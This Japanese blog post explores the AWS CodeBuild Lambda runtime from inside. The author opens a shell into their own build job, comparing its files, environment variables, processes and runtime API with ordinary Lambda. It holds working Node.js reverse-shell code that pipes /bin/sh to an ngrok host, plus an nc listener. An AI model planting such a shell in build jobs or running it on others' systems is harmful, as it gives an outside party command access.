CodeBuild用のLambda実行環境に乗り込んで中身を色々分析してみた

CodeBuildのジョブを実行中のLambda環境に乗り込んでシェルから色々試しました
2023.11.17

CX事業部@大阪の岩田です。

先日のアップデートでCodeBuildの実行環境としてLambdaが選択可能になりました

このCodeBuildで利用するLambda実行環境が通常のLambda実行環境とどのように違うのか気になったので、CodeBuildのジョブを実行しているLambda実行環境に乗り込んで色々確認してみることにしました。

Lambda実行環境に乗り込む準備

ソースコードの準備

以前ブログで紹介したserverless-preyを使うとLambda実行環境に乗り込んでシェルを実行できます。

今回は通常のLambdaの利用ではなく、CodeBuildのジョブを実行しているLambda実行環境に乗り込んでシェルを実行したいので、serverless-preyのソースコードを参考に、ngrok経由でローカルマシンのターミナルに接続する処理を書きます。

参考にしたソースコードはこちら https://github.com/pumasecurity/serverless-prey/blob/e764f6e10aadad2f1ff4aae684103432fb288a01/panther/src/panther/handler.js

const net = require("net")
const cp = require("child_process")

const host = process.env.NGROK_HOST
const portNum = parseInt(process.env.NGROK_PORT)
const sh = cp.spawn("/bin/sh", [])
const client = new net.Socket()

const main = async () => {
    await new Promise((resolve, reject) => {
        client.connect(portNum, host, () => {
            client.pipe(sh.stdin)
            sh.stdout.pipe(client)
            sh.stderr.pipe(client)
        })

        client.on("close", (hadError) => {
            if (hadError) {
                reject(new Error("Transmission error."));
            } else {
                resolve()
            }
        })

        client.on("end", () => {
            console.log(("shhutdown"))
            resolve()
        })

        client.on("error", (err) => {
            console.error(err)
            reject(err)
        })

        client.on("timeout", () => {
            console.error("timeout")
            reject(new Error("Socket timeout."))
        })
    })
}

main()

このコードを実行するためにbuildspec.ymlを記述します

version: 0.2
phases:
  build:
    commands:
      - node shell.js

コードの準備ができたので、これら2つのファイルをZIPに圧縮して適当なS3バケットにアップします。

実際にLambda実行環境に乗り込んでみる

Lambda実行環境と接続するローカル環境のターミナルを準備します

nc -l 4444

上記のポートにインターネット経由でアクセスできるようngrokを起動します

ngrok tcp 4444

以下のように表示されるので、ngrokのエンドポイントとポート番号を確認します。

ngrok by @inconshreveable                                                                                                                                                                                                          (Ctrl+C to quit)

Session Status                online
Account                       <ngrokのアカウント名> (Plan: Free)
Update                        update available (version 2.3.41, Ctrl-U to update)
Version                       2.3.40
Region                        United States (us)
Web Interface                 http://127.0.0.1:4040
Forwarding                    tcp://<ngrokのホスト>:<ngrokのポート番号> -> localhost:4444

Connections                   ttl     opn     rt1     rt5     p50     p90
                              0       0       0.00    0.00    0.00    0.00

先程用意したZIPファイルを元にビルドジョブを実行するCodeBuildのプロジェクトを作成します。今回はNode.js 18のLambda実行環境でビルドジョブを実行するよう設定しました。

プロジェクトの準備ができたら「上書きでビルドを開始する」を選択し、環境変数を以下のように設定します

  • NGROK_HOST: 先程確認したngrokのホスト
  • NGROK_PORT: 先程確認したngrokのポート番号

ビルドを開始後するとncを実行していたローカル環境のターミナルがLambda実行環境と接続され、シェルが叩けるようになります。

とりあえずwhoamiでも叩いてみましょう

sbx_user1051
uname -a
Linux 169.254.19.173 4.14.255-327-266.539.amzn2.x86_64 #1 SMP Sun Oct 22 13:13:51 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

これで準備OKです!

通常のLambda実行環境との差分を確認する

ここからは実際に色々とコマンドを叩いて出力を確認していき通常のLambda実行環境との差異を確認していきます。ランタイムは通常のLambda、CodeBuildともにx86_64のNode.js 18xとしました。

全般

まずはls /から

bin
boot
codebuild
dev
etc
home
lambda-entrypoint.sh
lib
lib64
main
media
mnt
opt
proc
root
run
sbin
srv
sys
THIRD-PARTY-LICENSES.txt
tmp
usr
var

codebuildというディレクトリが特徴的です。

続いてls /home

codebuild-user

codebuild-userなるユーザーが存在するようです。ls /home/codebuild-userはどうでしょう?

ls: cannot open directory /home/codebuild-user: Permission denied

見えませんでした。残念。

ls /tmpで/tmpの中身も見てみましょう

agent
agent-log
codebuild
git-credential-helper
mcetmp691865295

なるほど。通常のLambda実行環境とは色々異なりますね。

/tmp/agentについてfile /tmp/agent でもう少し詳細を見ておきましょう。

/tmp/agent: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

/bin/と/sbinの中身を確認してみましょう。

ls /bin | wc -c

7433

お?通常のLambda実行環境だと結果は1035だったので、使えるコマンドが増えていそうです。

/sbin配下はどうでしょう? ls /sbin | wc -c

2019

こちらも通常のLambda実行環境だと結果は231だったので、通常のLambda実行環境よりも多くのコマンドが利用できるようです。少し触ってみましたが、psなども使えるので、環境調査が捗りそうです。

Lambda実行環境の裏側が垣間見えるfindmntを実行してみましょう

TARGET                              SOURCE                                                                  FSTYPE  OPTIONS
/                                   /mnt/root-rw/opt/amazon/asc/worker/tasks/rtfs/inline-manifest           overlay ro,nosuid,nodev,relatime,lowerdir=/tmp/es3646364495/8c01de1164174241:/tmp/es3646364495/34f08a2802910111
├─/dev                              /dev/vdb[/opt/amazon/asc/worker/sandbox-tmp/sbtasks/sandbox-dev]        ext4    rw,nosuid,noexec,noatime,data=writeback
├─/tmp                              /dev/vdd                                                                ext4    rw,relatime,data=writeback
├─/proc                             none                                                                    proc    rw,nosuid,nodev,noexec,noatime
│ └─/proc/sys/kernel/random/boot_id /dev/vdb[/opt/amazon/asc/worker/sandbox-tmp/sbtasks/boot_id-IMZGEN]     ext4    ro,nosuid,nodev,noatime,data=writeback
├─/etc/passwd                       /dev/root[/etc/passwd]                                                  ext4    ro,nosuid,nodev,relatime,data=ordered
├─/var/rapid                        /dev/root[/opt/amazon/asc/worker/runtime/byol]                          ext4    ro,nosuid,nodev,relatime,data=ordered
└─/etc/resolv.conf                  /dev/vdb[/opt/amazon/asc/worker/sandbox-tmp/sbtasks/resolv.confSANDBOX] ext4    ro,nosuid,nodev,noatime,data=writeback

色々と妄想が膨らみますね。

最後にdf -hの結果です

Filesystem                                                     Size  Used Avail Use% Mounted on
/mnt/root-rw/opt/amazon/asc/worker/tasks/rtfs/inline-manifest  1.5G  9.4M  1.4G   1% /
/dev/vdb                                                       1.5G  9.4M  1.4G   1% /dev
/dev/vdd                                                        11G   65M   10G   1% /tmp
/dev/root                                                      9.7G  552M  9.2G   6% /etc/passwd

カーネルバージョンなど

続いてカーネルの情報を確認します。まずはuname -a

uname -a
Linux 169.254.19.173 4.14.255-327-266.539.amzn2.x86_64 #1 SMP Sun Oct 22 13:13:51 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

カーネルバージョン4.14.xのAmazon Linux2のようです。ちなみに通常のLambda実行環境だとカーネルバージョン5.10.xのAmazon Linuxが利用されています。

続いてcat /etc/os-release

NAME="Amazon Linux"
VERSION="2"
ID="amzn"
ID_LIKE="centos rhel fedora"
VERSION_ID="2"
PRETTY_NAME="Amazon Linux 2"
ANSI_COLOR="0;33"
CPE_NAME="cpe:2.3:o:amazon:amazon_linux:2"
HOME_URL="https://amazonlinux.com/"
SUPPORT_END="2025-06-30"
VARIANT_ID="202310201457-2.0.1141.0"

通常のLambda実行環境には存在しないSUPPORT_ENDという項目が増えています。結果を比較すると以下のようになりました。

確認した項目 通常のLambda実行環境 CodeBuild用のLambda実行環境
カーネルバージョン 5.10.196-205.748.amzn2.x86_64 4.14.255-327-266.539.amzn2.x86_64
/etc/os-releaseのVARIANT_ID 202308280853-2.0.1118.0 202310201457-2.0.1141.0

環境変数

次は環境変数を確認します。env | sortの実行結果を比較すると以下のような違いがありました

環境変数名 通常のLambda実行環境 CodeBuild用のLambda実行環境
AWS_LAMBDA_FUNCTION_NAME 対象のLambda関数の名前 customer-<AWSアカウントID>-<ランダムな文字列>
例)customer-<AWSアカウントID>-dfcf259c-b421-47d7-ac49-645ce9bb7e3a-5aaVd
AWS_LAMBDA_LOG_GROUP_NAME CW Logsのロググループ名 存在せず
AWS_LAMBDA_LOG_STREAM_NAME CW Logsのログストリーム名 存在せず
_HANDLER Lambdaの設定で指定したhandler
PATH /var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin /tmp/opt/npm/bin:/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin:/tmp/codebuild/bin:/codebuild/user/bin
PWD /var/task /tmp/codebuild/outputで始まるディレクトリ
例)/tmp/codebuild/output/src3154/src/s3/01
SHLVL 1 4
TZ :UTC :/etc/localtime

AWS_LAMBDA_FUNCTION_NAMEあたりが面白いですね。PATHもかなり差異があります。

また、以下の環境変数についてはCodeBuild用のLambda実行環境にのみ存在しました

環境変数名
HOME /tmp
LAMBDA_USER_HOME /tmp/opt
MAVEN_OPTS -Dmaven.wagon.httpconnectionManager.maxPerRoute=2
CODEBUILD_ACTION_RUNNER_URL https://codefactory-ap-northeast-1-prod-default-build-agent-executor.s3.ap-northeast-1.amazonaws.com/cawsrunner.zip
CODEBUILD_AUTH_TOKEN UUID4の文字列
CODEBUILD_BUILD_ARN 対象ビルドジョブのARN
CODEBUILD_BUILD_ID 対象ビルドジョブのID
CODEBUILD_BUILD_IMAGE aws/codebuild/amazonlinux-x86_64-lambda-standard:nodejs18
CODEBUILD_BUILD_NUMBER 対象のビルドNO
CODEBUILD_BUILD_SUCCEEDING 1
CODEBUILD_BUILD_URL 対象ビルドの詳細を確認するためのマネコンのURL
CODEBUILD_EXECUTOR_AGENT_TYPE CBMCE
CODEBUILD_FE_REPORT_ENDPOINT https://codebuild.<リージョン>.amazonaws.com
CODEBUILD_GOPATH /tmp/codebuild/output/から始まるディレクトリ
例/tmp/codebuild/output/src3154
CODEBUILD_INITIATOR ビルドに使用したIAMロール名
CODEBUILD_KMS_KEY_ID ビルドに使用したKMSのキーID
CODEBUILD_LAST_EXIT 前回のビルド結果??
0が設定されていました
CODEBUILD_LOG_PATH UUID4の文字列
CODEBUILD_PROJECT_UUID UUID4の文字列
CODEBUILD_SOURCE_REPO_URL ビルド対象のURL
CODEBUILD_SRC_DIR /tmp/codebuild/output/から始まるディレクトリ
例)/tmp/codebuild/output/src3154/src/s3/01
CODEBUILD_START_TIME ビルドが開始されたタイムスタンプ
GOPATH /tmp/codebuild/output/から始まるディレクトリ
例)/tmp/codebuild/output/src3154

注目したいのはCODEBUILD_ACTION_RUNNER_URLに設定されたURLです。ここからDLしたZIPファイルを分析すると色々面白いかも・・・?

その他CODEBUILD_から始まる環境変数の意味については以下のリンクも参考になります

https://docs.aws.amazon.com/ja_jp/codebuild/latest/userguide/build-env-ref-env-vars.html

起動しているプロセスなど

起動しているプロセスなど確認してみましょう。まずはps auxの結果から

USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
sbx_use+     1  0.0  0.4 1238112 5904 ?        Ssl  01:11   0:00 /var/rapid/init --logs-egress-api fluxpump --oci-config - --enable-extensions
sbx_use+     8  0.0  0.4 715600  5244 ?        Sl   01:11   0:00 /main
sbx_use+    28  0.5  2.2 1250980 27852 ?       Sl   01:11   0:00 ./agent
sbx_use+    34  0.0  0.2 121992  2776 ?        S    01:11   0:00 /bin/sh /tmp/mcetmp691865295/script.sh
sbx_use+    35  0.0  1.1 1241600 13700 ?       Sl   01:11   0:00 ./executor
sbx_use+    50  0.0  0.2 121992  2836 ?        S    01:11   0:00 /bin/sh /tmp/codebuild/output/tmp/script.sh
sbx_use+    52  0.1  3.5 723628 43716 ?        Sl   01:11   0:00 node shell.js
sbx_use+    59  0.0  0.2 121992  2780 ?        S    01:11   0:00 /bin/sh
sbx_use+    67  0.0  0.3 160212  3760 ?        R    01:12   0:00 ps aux

ビルドジョブから起動したプロセス以外に以下のプロセスが動いています。この辺は通常のLambdaと結構違いますね

  • /var/rapid/init --logs-egress-api fluxpump --oci-config - --enable-extensions
  • /main
  • ./agent
  • /bin/sh /tmp/mcetmp691865295/script.sh
  • ./executor
  • /bin/sh /tmp/codebuild/output/tmp/script.sh

このうちPID 1の/var/rapid/initは通常のLambda Functionと同様ですが、微妙に引数が異なります。通常のLambda Functionであれば/var/rapid/init --enable-extensions --bootstrap=/var/runtime/bootstrap --logs-egress-api=fluxpump --enable-msg-logsなので、CodeBuild用のLambda実行環境では引数の--bootstrap--enable-msg-logsが付与されていないことになります。

PID8の/mainに関してですが、file /mainを確認したところ、以下のような出力でした。

/main: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

LambdaのランタイムAPIを叩いてみる

CodeBuildのジョブは通常のLambdaとは異なり、イベント発生の都度handlerが起動して...といった処理は行わないはずですが、LambdaのランタイムAPIは通常通り利用できるのでしょうか?curlコマンドが使えたので、以下のリンクを参考にLambdaのランタイムAPIを叩いてみました。

https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html#runtimes-api-response

まずはイベントデータを取得するためのNext invocationから

curl "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" -s | jq .

レスポンスです

{
  "agentBinaryPrefix": "s3://mce-prod-ap-northeast-1-11-mce-agent-binary/bin/linux_amd64/",
  "borderServiceEndpoint": "https://border-11.ap-northeast-1.prod.compute.caws.dev-tools.aws.dev:443/agent/",
  "computeTaskArn": "arn:aws:mce:ap-northeast-1:<AWSアカウントID>:compute-task/<UUID4の文字列>",
  "computeTaskToken": "<UUID4の文字列>",
  "fleetType": "LAMBDA_MULTI_TENANT",
  "region": "ap-northeast-1",
  "rootDir": "/codebuild",
  "logStreamName": "<AWSアカウントID>/58f8b8c5-d139-420e-a6be-d228a6d65826",
  "logGroupName": "mce-prod-ap-northeast-1-11-agent-logs"
}

中々興味深い内容です。このイベントデータを元にしてビルドジョブを実行しているとかでしょうかね?

続いてInvocation response

REQUEST_ID=156cb537-e2d4-11e8-9b34-d36013741fb9
curl "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/$REQUEST_ID/response" -s  -d "SUCCESS" | jq .

レスポンスです。

{
  "errorMessage": "Invalid request ID",
  "errorType": "InvalidRequestID"
}

妥当なリクエストIDが分からないので、リクエストを成功させることは難しそうですねぇ...

次はInitialization error

ERROR="{\"errorMessage\" : \"Failed to load function.\", \"errorType\" : \"InvalidFunctionException\"}"
curl "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/init/error" -d "$ERROR" --header "Lambda-Runtime-Function-Error-Type: Unhandled" -s | jq .

レスポンスです。

{
  "errorMessage": "State transition from Running to InitError failed for runtime. Error: State transition is not allowed",
  "errorType": "InvalidStateTransition"
}

Initialization処理が完了しているのにInitialization errorのAPIを叩いているのでエラーになります。まあ当然ですよね。

最後にInvocation error

REQUEST_ID=156cb537-e2d4-11e8-9b34-d36013741fb9
ERROR="{\"errorMessage\" : \"Error parsing event data.\", \"errorType\" : \"InvalidEventDataException\"}"
curl "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/$REQUEST_ID/error" -d "$ERROR" --header "Lambda-Runtime-Function-Error-Type: Unhandled" -s | jq .

レスポンスです。

{
  "errorMessage": "Invalid request ID",
  "errorType": "InvalidRequestID"
}

Invocation responseと同様にリクエストを成功させるのは難しそうです。

まとめ

同じLambda実行環境と言っても中身は色々と違いがあることが分かりました。CodeBuildの裏側ではどのようにLambdaと連携しているるのでしょうか?この辺もre:invent2023のセッションで詳細が聞けると楽しそうですね。